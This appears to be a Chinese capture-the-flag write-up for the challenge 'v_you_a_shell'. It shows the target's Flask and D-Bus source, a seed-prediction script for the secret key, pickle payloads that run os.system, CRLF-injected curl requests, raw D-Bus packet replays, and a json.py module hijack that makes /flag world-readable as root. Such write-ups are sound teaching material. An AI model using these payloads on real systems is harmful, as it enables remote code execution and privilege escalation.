0%

矩阵杯v_you_a_shell

v_you_a_shell

文件读取

首先通过php读取到了两个python服务,/app/app.py,/app/flagService.py,然后通过读取 /start.sh,找到了dbus的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#app.py
import base64
import hashlib
import pickle
import random
import threading
import time
import dbus
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib
from flask import Flask, session, request

app = Flask(__name__)
secretKey = ""


def setSecretKet():
global secretKey
secretKey = hashlib.md5(random.randbytes(16)).hexdigest()



setSecretKet()
app.secret_key = secretKey
loginList = {}
login_fail_times = 0


class MyDBusService(dbus.service.Object):
def __init__(self, bus_name, object_path):
dbus.service.Object.__init__(self, bus_name, object_path)

@dbus.service.method("ctf.syncServer", in_signature='', out_signature='s')
def ping(self):
return "pong"

@dbus.service.method("ctf.syncServer", in_signature='ss', out_signature='s')
def backdoor(self, username, key):
global secretKey
if username in loginList and key == secretKey:
data = pickle.loads(base64.b64decode(loginList[username]))
return str(data)
return "keyError"


@app.route("/login")
def login():
global loginList
global login_fail_times
if login_fail_times == 5:
login_fail_times = 0
session['code'] = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]
setSecretKet()
username = request.args.get('username')
password = request.args.get('password')
code = request.args.get('code')
data = request.cookies.get("data", "")
if code != session['code']:
return "codeError"
if username == "admin" and password == "123456":
if data != "":
loginList[username] = data
else:
loginList[username] = "no"
return "login successful"
login_fail_times += 1
return "Password error"



@app.route("/getCode")
def getCode():
random.seed(int(time.time() * 10))
session['code'] = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]
return session['code']


def dbusServerStart():
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SystemBus()
bus_name = dbus.service.BusName("ctf.syncServer", bus)
service = MyDBusService(bus_name, "/ctf/syncServer")
loop = GLib.MainLoop()
loop.run()


if __name__ == "__main__":
threading.Thread(target=dbusServerStart).start()
app.run(host="127.0.0.1", port=8080)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# flagService.py

import dbus, time
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib


class FlagService(dbus.service.Object):
def __init__(self, bus_name, object_path):
dbus.service.Object.__init__(self, bus_name, object_path)

@dbus.service.method("ctf.flag.service", in_signature='', out_signature='s')
def ping(self):
return "pong"

@dbus.service.method("ctf.flag.service", in_signature='s', out_signature='s')
def getTime(self, format):
return __import__("json").dumps({"code": 1, "time": time.strftime(format, time.localtime())})


dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SystemBus()
bus_name = dbus.service.BusName("ctf.flag.service", bus)
service = FlagService(bus_name, "/ctf/flag/service")
loop = GLib.MainLoop()
loop.run()

预测secretkey,设置反序列化数据

可以看到 /getCode 路由以当前时间设置了随机数,并且返回了随机数的前4位,并且在 /login

1
2
3
4
if login_fail_times == 5:
login_fail_times = 0
session['code'] = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]
setSecretKet()

当失败次数达到5次,会重新设置随机数和session。
那么利用链如下,以下给出post数据包
通过php去访问 /getCode
1
cmd=curl&url=http%3A%2F%2F127.0.0.1%3A8080%2FgetCode&method=GET

得到session和key,拿到key,用以下的脚本去预测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import random
import hashlib
import time
# 已知的MD5哈希值的前四位
known_md5_prefix = "3061" # 示例值,替换为你已知的前四位值
a=int(time.time() * 10)
print(a)
b=a-28800
print(b)
# 起始种子值
start_seed = b
#17172611574

def generate_md5_prefix(seed):
random.seed(seed)
rand_bytes = random.randbytes(16)
md5_hash = hashlib.md5(rand_bytes).hexdigest()
return md5_hash[0:4]

def find_seed(start_seed, known_md5_prefix):
current_seed = start_seed
while True:
md5_prefix = generate_md5_prefix(current_seed)
if md5_prefix == known_md5_prefix:
return current_seed
current_seed += 1

# 执行爆破
found_seed = find_seed(start_seed, known_md5_prefix)
print(f"Found seed: {found_seed}")
random.seed(found_seed)
code = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]
code = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]
key = hashlib.md5(random.randbytes(16)).hexdigest()
print(code)
print(key)

最后的key就是secretkey,因为有时差,所以需要减去28800

拿到key和cookie以后保存成一个正常的数据包,然后通过php的method参数注入数据包(因为需要注入cookie),data是反序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# data.py
import pickle
import os
import base64,random,hashlib,time

class Person():
def __reduce__(self):
# command=r'echo "import os\\ndef dumps(a):\\n\\tos.system(\"touch /tmp/aaa && chmod 777 /flag\")" > /app/json.py 2>&1'
command = r'which dbus-send > /tmp/a'
# command = r'ls /bin > /tmp/a'
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(base64.b64encode(opcode))

1
cmd=curl&method=GET%20/login%3Fusername%3Dadmin%26password%3D123456%26code%3Dbeb3%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A8080%0D%0ACookie%3A%20session%3DeyJjb2RlIjoiYmViMyJ9.ZluEVA.boOh1u9A19w52LCwRIl8-BiYJkc%3Bdata%3DgASVLQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBJkYnVzLXNlbmQgPiAvdG1wL2GUhZRSlC4%3D%3B&url=http://127.0.0.1:8080/login?username=admin&password=123456&data=username

然后把密码输错5次,之后就可以重置了secretkey

dbus协议分析

因为dbus底层也是socket,可以通过一个脚本给他改成可以抓成pcap包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/bin/bash

################################################################################
#
# UNIX域Socket抓包
#
# 作者:RToax
# 时间:2020年11月9日
#
################################################################################

exe_name=$0
eth_port="lo"

#UNIX socket 文件路径
unix_path=/tmp/unix.sock
unix_path_original="$unix_path.original"
ARG_UNIX_PATH="-u"
ARG_UNIX_PATH_S="UNIX socket path name."

#抓包文件
pcap_switch=0
pcap_file=pcap.pcap
ARG_PCAP_FILE="-f"
ARG_PCAP_FILE_S="Pcap File Name. default $pcap_file, no set no save."

#临时端口
tcp_port=8087
ARG_TCP_PORT="-p"
ARG_TCP_PORT_S="TMP port for swap UNIX socket. default $tcp_port"

#显示包的比特信息,如下:
# 0x0000: 4500 0034 52ae 4000 4006 ea13 7f00 0001
# 0x0010: 7f00 0001 c82a 07cf 6a88 73d9 bfa9 666c
# 0x0020: 8010 01f8 fe28 0000 0101 080a a2d6 9545
# 0x0030: a2d6 9545
pbits_flag=0
ARG_PBITS_DETAIL="-x"
ARG_PBITS_DETAIL_S="Show Packet Bits."

#帮助信息
ARG_USAGE="-h"
ARG_USAGE_S="Show usage."

#tcpdump的参数
ARG_TCPDUMP=" -i $eth_port -netvvv -N -q "

function usage()
{
printf "\n"
printf "$exe_name [option] [value]\n"
printf "\n"
printf " $ARG_UNIX_PATH $ARG_UNIX_PATH_S \n"
printf " $ARG_PCAP_FILE $ARG_PCAP_FILE_S\n"
printf " $ARG_TCP_PORT $ARG_TCP_PORT_S\n"
printf " $ARG_PBITS_DETAIL $ARG_PBITS_DETAIL_S\n"
printf " $ARG_USAGE $ARG_USAGE_S\n"
}

function parse_args()
{
argvs=($(echo "$@"))
elements=$[ $# - 1 ]
for (( i = 0; i <= $elements; i++ ))
{
# 解析抓包文件参数
if [ ${argvs[$i]} = $ARG_USAGE ]; then
usage
return 1
fi
# 解析UNIXsocket路径参数
if [ ${argvs[$i]} = $ARG_UNIX_PATH ]; then
unix_path=${argvs[${i}+1]}
#文件必须存在
if [ ! -e $unix_path ]; then
printf "Unix Path not exist. $unix_path\n"
printf "TYPE>> $exe_name $ARG_USAGE for help.\n"
return 1
fi
#文件必须为Socket类型
if [ ! -S $unix_path ]; then
printf "File must be Unix Socket Path. $unix_path\n"
printf "TYPE>> $exe_name $ARG_USAGE for help.\n"
return 1
fi

fi
# 解析抓包文件参数
if [ ${argvs[$i]} = $ARG_PCAP_FILE ]; then
pcap_file=${argvs[${i}+1]}
pcap_switch=1
if [ -e $pcap_file ]; then
printf "PCAP file: $pcap_file exist, overwrite it.\n"
printf "TYPE>> $exe_name $ARG_USAGE for help.\n"
rm -f $pcap_file
fi
fi

# 显示包的比特信息
if [ ${argvs[$i]} = $ARG_PBITS_DETAIL ]; then
pbits_flag=1
fi
# 解析临时端口参数
if [ ${argvs[$i]} = $ARG_TCP_PORT ]; then
tcp_port=${argvs[${i}+1]}
fi

}
return 0
}

if [ ! -e /usr/bin/socat ]; then
printf "Not socat found, install socat first.\n"
exit 0
fi
if [ ! -e /usr/sbin/tcpdump ]; then
printf "Not tcpdump found, install tcpdump first.\n"
exit 0
fi

#没有参数直接退出
if [ $# -lt 1 ]; then
usage
exit 0
fi

#解析参数
parse_args $*

#参数解析失败,直接退出
if [ $? -ne 0 ]; then
exit 0
fi


unix_path_original="$unix_path.original"


# Move socket files
mv "${unix_path}" "${unix_path_original}"
trap "{ rm '${unix_path}'; mv '${unix_path_original}' '${unix_path}'; }" EXIT

#创建一个TCP监听,一个UNIXSocket监听
socat -t100 "TCP-LISTEN:${tcp_port},reuseaddr,fork" "UNIX-CONNECT:${unix_path_original}" &

#创建一个UNIX监听和一个TCP监听
socat -t100 "UNIX-LISTEN:${unix_path},mode=777,reuseaddr,fork" "TCP:localhost:${tcp_port}" &

#ARG_TCPDUMP=" -i $eth_port -netvvv "
#端口过滤
ARG_TCPDUMP=$ARG_TCPDUMP" port $tcp_port "

#是否输出抓包文件
if [ $pcap_switch = "1" ]; then
ARG_TCPDUMP=$ARG_TCPDUMP" -w ${pcap_file}"
fi

if [ $pbits_flag = "1" ]; then
ARG_TCPDUMP=$ARG_TCPDUMP" -x"
fi


#保存抓包数据 -i lo -netvvv -x port $tcpport -w "${pcapfile}"
tcpdump $ARG_TCPDUMP

1
./undump.sh -u /run/dbus/system_bus_socket -f a.pcap

他这边开始抓包的时候,通过 dbus-send 发送数据包,具体命令是(我这里忽略测试ping路由的过程)

测试的时候只能运行第一次python,不能关了开第二次,会影响数据包中的sender

1
dbus-send --system --type=method_call --print-reply --dest=ctf.syncServer /ctf/syncServer ctf.syncServer.backdoor string:"admin" string:"secretkey"

经过测试,发现这些数据包类似redis,可以一起发送,并且服务端那边都会解析,这边把发送的数据包全部复制下来,然后一起发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import binascii
import socket
import urllib.parse

# 将十六进制字符串转换为字节流
hex_data2 = "6c01000100000000040000004d00000001016f000f0000002f6374662f73796e635365727665720006017300040000003a312e3200000000020173000e0000006374662e73796e635365727665720000030173000400000070696e6700000000"
hex_data1 = \
"00415554482045585445524e414c2033300d0a"+\
"4e45474f54494154455f554e49585f46440d0a"+\
"424547494e0d0a6c01000100000000010000006e00000001016f00150000002f6f72672f667265656465736b746f702f4442757300000006017300140000006f72672e667265656465736b746f702e444275730000000002017300140000006f72672e667265656465736b746f702e4442757300000000030173000500000048656c6c6f000000"+\
"6c01000113000000020000007f00000001016f00150000002f6f72672f667265656465736b746f702f4442757300000006017300140000006f72672e667265656465736b746f702e444275730000000002017300140000006f72672e667265656465736b746f702e4442757300000000030173000c0000004765744e616d654f776e65720000000008016700017300000e0000006374662e73796e6353657276657200"+\
"6c01000131000000020000006800000001016f000f0000002f6374662f73796e6353657276657200020173000e0000006374662e73796e63536572766572000003017300080000006261636b646f6f720000000000000000060173000e0000006374662e73796e63536572766572000008016700027373000500000061646d696e00000020000000376630383735353865383964623764313662613064643037646537623436363000"
s = 'e655097da782a691cf830ed640dbead5'
hex_str = ''
for c in s:
hex_str += hex(ord(c))[2:]

print(hex_str)
hex_data1 = hex_data1.replace("3766303837353538653839646237643136626130646430376465376234363630",hex_str) # 替换secretkey
packet_data1 = binascii.unhexlify(hex_data1)
url_encoded_data = urllib.parse.quote(packet_data1)
print(url_encoded_data)

拿到url_encoded_data,发包
1
cmd=curl&method=%00AUTH%20EXTERNAL%203333%0D%0ANEGOTIATE_UNIX_FD%0D%0ABEGIN%0D%0Al%01%00%01%00%00%00%00%01%00%00%00n%00%00%00%01%01o%00%15%00%00%00/org/freedesktop/DBus%00%00%00%06%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%02%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%03%01s%00%05%00%00%00Hello%00%00%00l%01%00%01%13%00%00%00%02%00%00%00%7F%00%00%00%01%01o%00%15%00%00%00/org/freedesktop/DBus%00%00%00%06%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%02%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%03%01s%00%0C%00%00%00GetNameOwner%00%00%00%00%08%01g%00%01s%00%00%0E%00%00%00ctf.syncServer%00l%01%00%011%00%00%00%02%00%00%00h%00%00%00%01%01o%00%0F%00%00%00/ctf/syncServer%00%02%01s%00%0E%00%00%00ctf.syncServer%00%00%03%01s%00%08%00%00%00backdoor%00%00%00%00%00%00%00%00%06%01s%00%0E%00%00%00ctf.syncServer%00%00%08%01g%00%02ss%00%05%00%00%00admin%00%00%00%20%00%00%00e655097da782a691cf830ed640dbead5%00&url=http%3A%2F%2F127.0.0.1%3A8080%2FgetCode&tcpstr=unix%3A%2F%2F%2Fvar%2Frun%2Fdbus%2Fsystem_bus_socket&data=1

注意 AUTH EXTERNAL 3333,这里这个3333是当前用户的权限id,可以通过读取 /etc/passwd 获取,33就是3的hex,当前用户实际的id是33,如果是root那就是0对应的hex就是30

发完就可以成功反序列化了

提权

找了好久,最后在 flagService.py 发现端倪,该服务由root权限启动

1
2
3
@dbus.service.method("ctf.flag.service", in_signature='s', out_signature='s')
def getTime(self, format):
return __import__("json").dumps({"code": 1, "time": time.strftime(format, time.localtime())})

初看以为是获取当前时间戳的,但是仔细思考发现了这个 __import__("json")
当往同级目录下面写入 json.py 然后再去访问这个路由,他就会加载我们写入的文件,并且执行 dumps 函数,那么就很明了了
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
import base64,random,hashlib,time

class Person():
def __reduce__(self):
command=r'echo "import os\\ndef dumps(a):\\n\\tos.system(\"touch /tmp/aaa && chmod 777 /flag\")" > /app/json.py 2>&1'
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(base64.b64encode(opcode))

先这样写入文件,然后用同样的方法获取到访问这个getTime的数据包,然后把data搞出来
1
cmd=curl&method=%00AUTH%20EXTERNAL%203333%0D%0ANEGOTIATE_UNIX_FD%0D%0ABEGIN%0D%0Al%01%00%01%00%00%00%00%01%00%00%00n%00%00%00%01%01o%00%15%00%00%00/org/freedesktop/DBus%00%00%00%06%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%02%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%03%01s%00%05%00%00%00Hello%00%00%00l%01%00%01%07%00%00%00%02%00%00%00w%00%00%00%01%01o%00%11%00%00%00/ctf/flag/service%00%00%00%00%00%00%00%02%01s%00%10%00%00%00ctf.flag.service%00%00%00%00%00%00%00%00%03%01s%00%07%00%00%00getTime%00%06%01s%00%10%00%00%00ctf.flag.service%00%00%00%00%00%00%00%00%08%01g%00%01s%00%00%02%00%00%00aa%00&url=http%3A%2F%2F127.0.0.1%3A8080%2FgetCode&tcpstr=unix%3A%2F%2F%2Fvar%2Frun%2Fdbus%2Fsystem_bus_socket&data=1

然后通过php读取/flag即可